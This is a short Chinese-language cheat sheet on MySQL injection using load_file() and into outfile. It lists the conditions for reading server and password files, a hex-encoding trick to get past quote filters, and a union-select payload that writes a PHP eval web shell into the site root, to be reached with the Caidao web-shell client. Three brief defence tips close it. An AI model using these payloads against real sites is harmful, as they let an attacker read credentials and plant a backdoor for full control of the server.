load_file()
条件:要有file_priv权限
知道文件的绝对路径
能使用union
对web目录有读权限
如果过滤啦单引号,则可以将函数中的字符进行hex编码
步骤:
1.读/etc/init.d下的东西,这里有配置文件路径。
2.得到web的安装路径
3.读取密码文件
into outfile
条件:
1。要有file_priv权限
2.知道网站的绝对路径
3.对web有写的权限
4.没有过滤单引号
步骤:
直到网站的绝对路径的时候:
?id=1 union select "<?php @eval($_POST['c']); ?>" into
outfile("网站根目录")
相当于:
use test; 选择数据库为test
create table aaa(bbb varchar(64)); 在数据库中创建一个表aaa
insert into aaa values("<?php @eval($_POST['c']);?>"); 在aaa中插入一条数据<?php @eval($_POST['c']);?>
select * from aaa into outfile 'C:/phpStudy/WWW/a.php'; 将aaa中的数据导出到文件a.php
drop aaa; //删除建立的表
用菜刀练接;
防御:
数据库连接帐号不能用root权限
php关闭报错模式
mysql帐号没有对权限对网络根目录有写的权限